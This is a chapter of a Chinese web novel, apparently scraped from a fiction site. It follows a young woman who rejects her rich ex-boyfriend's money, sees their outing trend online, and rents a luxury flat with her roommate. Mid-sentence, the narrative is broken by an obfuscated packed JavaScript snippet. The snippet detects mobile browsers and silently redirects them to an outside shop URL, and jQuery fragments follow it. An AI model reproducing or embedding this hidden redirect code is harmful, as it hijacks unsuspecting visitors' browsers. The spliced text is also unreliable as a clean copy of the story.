文趣网 > 都市小说 > 所有人都劝我当金丝雀 > 16. 身体
    “你别这么说,我是怕你被拍到,影响你们公司股价……”

    容昭野有些诧异地看她:“为什么拍到我们会影响股价?”

    白雪蘅咬唇:“你不是要和江氏联姻吗,这种时候爆出花边新闻,怎么可能没有影响?”

    容昭野却故意曲解她的意思:“又吃醋了?”

    白雪蘅疑似失去所有的力气和手段,她真的跟这个霸总说不清了,只好一个人转身离开。

    他不走,她走,总行了吧!

    容昭野付完钱,赶紧追过来:“真吃醋了,气性这么大,今天你也看到了,我跟她什么都没有。”

    白雪蘅捂住耳朵,小跑起来。

    容昭野大步走在后面。

    等到拐进学校后门,少了很多围观群众,白雪蘅才稍稍松口气。

    “我回宿舍了,你也早点回去休息吧。”

    容昭野的脸沉了下来:“你到底怎么回事,说搬回来就搬回来,说搬走就搬走?”

    白雪蘅道歉:“对不起,是我的错,我再也不会搬去你那里了,等宿舍不让住了,我就出去租房子。”

    容昭野一脸不可思议地看着她:白雪蘅居然会道歉?

    从二人相识到恋爱,白雪蘅虽然出身普通,但她配得感很高,从来不会在容昭野面前低声下气,这也是容昭野最喜欢她的一点。

    白雪蘅继续说:“还有,以后你也不要再帮我付账了,你打给我的钱我会还回去的,我需要的一切,都会想办法自己负担……”

    不是她不想花,实在是花的每一笔都会变成负债,要靠她自己挣钱去还啊。

    想到这里,白雪蘅庆幸自己还好没收下那支价值八位数的名表。

    容昭野瞳孔都在颤抖,这是要跟他彻底划清界限?

    “雪蘅,你跟我分手,我当你是闹脾气,说着玩的。你连我的钱都不要,那我在你心里到底算什么?”

    白雪蘅干笑两声:“我们可以做好朋友啊!那种就算出去玩也AA的好朋友。”

    容昭野无法理解什么是AA。

    白雪蘅已经走到了宿舍楼下,她三两步迈上台阶,对容昭野挥挥手:“回去吧,你工作忙,注意休息。”

    容昭野把糯米糍递给她:“想吃就吃一点,我让厨房那边给你送餐过来。”

    那可消受不起!

    容昭野的厨房是行政厨务中心,里面几十名国际名厨,随便一位随手做一个菜都是她现在消费不起的高价。

    白雪蘅连连拒绝:“真不要,求你了,不要给我送餐,我真不吃。”

    容昭野眼底闪过心痛,他们之间真的出问题了。

    “等我忙过这阵子,我们去度假好不好?你想去哪里,大溪地?斐济?”

    哪个她都去不起!

    白雪蘅的心在滴血,往日坐着私人飞机在顶奢岛屿一掷千金的快乐再也不会有了!

    “求你别说了……我真不想去,那些地方不是现在的我该去的,我现在只想打工挣钱……”

    越说越觉得自己命苦,白雪蘅吸了吸发酸的鼻子,拖着步子回了宿舍。

    容昭野看着她的背影,紧锁着眉。

    明明昨晚他们还……今天拍完广告,白雪蘅就彻底转变了态度。

    他给阿琴打了电话:“今天在拍摄现场到底发生了什么?”

    白雪蘅回到宿舍,看到周风染也在。

    “咦,我以为你……”

    周风染很及时地没有把话说完。

    白雪蘅知道她的意思,无非就是以为她又和霸总和好了,不用再住宿舍了。

    她把糯米糍分给周风染:“吃吧,刚在学校旁边小吃街买的。”

    周风染挑挑眉:“喔唷,我也是日子好起来了,都能吃上霸总买的小吃了。”

    白雪蘅笑了一下,忽然在她这句话里发现了华点:“你怎么知道这是霸总买的?”

    周风染点开手机,戳了几下:“你看,你们逛街的视频到处都是,都冲上热搜了。”

    不至于吧,怎么屁大点事都能上热搜啊。

    白雪蘅拿起手机,果然,各大社媒都飘满了他们逛街的照片和视频。

    照片里的容昭野一如既往地高冷俊美,黑色衬衣袖口挽到小臂,露出一截紧实的小臂线条。

    白雪蘅站在他左边,正侧头看他,嘴唇微张,在说着什么,夜市暖黄色的灯落在她脸上,把她的皮肤照出一种近乎透明的质感。

    容昭野一只手插在裤袋里,另一只手垂下来,扣着她的手。

    评论区已经炸了。

    “容昭野的黑衬衣是焊在身上了吗。”

    “人家是霸总,霸总的衣服总是有一千件同款。”

    “白雪蘅这个皮肤状态是真实存在的吗?”

    “两个人拉着手等糯米糍,好甜啊。”

    “这才是真豪门吧,接地气又不做作。”

    “我在现场,我作证,霸总的手全程拉着她,旁若无人,非常宠溺。”

    “一个高冷一个甜,拉着手逛小吃街,这是什么晋江文学照进现实。”

    “接接接,接霸总事业运,接美女恋爱运,接美女好皮肤~”

    白雪蘅翻着翻着,忽然看到一条评论,手指顿住了。

    “容昭野都已经和江画云订婚了,还在外面公然和小三逛街,太不要脸了吧!”

    白雪蘅把手机扣在桌上,眼不见心不烦。

    周风染吃着糯米糍,问白雪蘅:“宿舍很快就不让毕业生住了,你如果不回……接下来准备怎么办?”

    白雪蘅倒了杯水:“还能怎么办,租房子呗。”

    和所有的京飘一样。

    周风染提议:“我也要租房,雪蘅,要不咱俩合租吧,也有个照应。”

    其实蘅容公司很多同期新员工,但是周风染作为唯一的本科生,和他们有着天然的隔阂,只能通过后期努力工作设法融入。

    白雪蘅欣然同意,合租最好,既能分担房租,又能互相照顾,还是和四年的室友一起,不用磨合,省去了很多麻烦。

    “你准备租哪里?”

    周风染自然是要租在蘅容公司附近的,只不过公司在产业园,都是高级白领,房租也居高不下。

    白雪蘅还没想好:“就在你们公司附近吧,我住那里也方便找工作。”

    周风染很大气:“蘅容给新员工都发了租房补贴,你现在还没工作,房租我多承担些。”

    她的工作都是靠白雪蘅走后门进去的,在房租上回报也是应该。

    白雪蘅连连摆手:“不用,我们对半,该多少就是多少,我不能占你的便宜……”

    “这怎么能算占便宜呢,我们是室友,现在你有困难,我帮你,以后我有困难,你再帮我就是了。”

    周风染很笃定,容昭野不会和白雪蘅彻底分手的。

    白雪蘅真不敢花任何人一分钱:“我有钱,我虽然没有正式工作,不过最近在拍广

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17566571|204156||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    告,也是有薪酬的。”

    周风染放下心来,很感兴趣:“什么广告?”

    白雪蘅说了那个护肤品的名字。

    周风染“哇”了一声:“这个可是法国的知名大牌,好多女明星都够不上的资源啊……”

    怎么会找白雪蘅这个素人呢?

    这么一说,白雪蘅也愣了。

    对啊,怎么自己只是直播了一次,就能接到三个资源?

    多少演员明星网红,拿着代表作去谈,在饭局上喝到吐,都谈不来一个资源,对她来说反而唾手可得?

    白雪蘅直觉这和容昭野有关。

    她拿起手机想问他。

    “那几个广告资源是你帮我谈的?”

    容昭野回复地很快:“不是我主动。”

    白雪蘅懂了。

    商家看中的,其实是容昭野的名气地位和热度。

    截止目前,她挣得每一分钱,其实还是和他相关。

    第二天恰逢周末,周风染约白雪蘅去看房。

    两个姑娘都是难得清闲,说说笑笑地跟着中介一家一家的看。

    中介带看的都是产业园区周边的公寓和老式居民楼。

    这也是附近白领的热门选择。

    周风染选了两套采光较好的待定,只是依白雪蘅的眼光,这些房子都十分一般,各有各的硬伤。

    她也不想这样,暗骂一句,由奢入俭难。

    中介看白雪蘅迟迟不点头,又见她长得漂亮又精致,猜到了她的心思。

    “我手上还有一套更好的,装修也新,房主前几年在国外,很少回来,现在工作地也不在附近,房子保养的很好,要不二位过去看看?”

    二人都表示同意。

    这套房子在附近的高档小区,刚走进去,周风染心里就有些打鼓,担心房租太高。白雪蘅低声道:“要是太贵,我们就还是从之前那几套里选。”

    周风染这才放心。

    房子一梯一户,私密性很强,推开房门,周风染就“哇”了一声。

    这套房子和前面看过的那些根本不在一个段位,没有玄关,进门就是整面落地窗,窗框窄到几乎隐形,城市天际线在玻璃外铺展开来,阳光把高架上的车流镀成一条流动的金色河流。

    卧室推拉门手感沉。地毯厚到踩上去会陷。

    床很低,床头柜上一盏陶土台灯,衣帽间藏在丝绒帘子后面。

    周风染什么都没敢乱动:“这房东什么人啊?”

    中介摇头:“我们不能透露房东的具体信息,您二位要租的话,合同上会有房东姓名和联系方式。”

    白雪蘅开口:“租金多少?”

    中介露出微笑,他就知道这位会喜欢。

    “租金在同小区同房型中对比不算高,您二位长租的话,还可以打折。折扣后的月租金不到两万。”

    周风染倒吸一口凉气。

    白雪蘅把她拉到一边商量:“风染,租金是有点贵,但是我想租这里,租金你不用担心,你就按刚才看的那几套的均价对半来付,剩下的我来。”

    周风染有些不好意思:“那怎么行。”

    刚才那些均价不过八九千,她付四五千,白雪蘅一个人就要付一万五。

    白雪蘅却很坚持。

    因为这套房子有五恒系统,她在宿舍住了几天,皮肤很不舒服,鼻炎也有卷土重来的趋势。

    ……真是被容昭野养坏了,身体也由奢入俭难。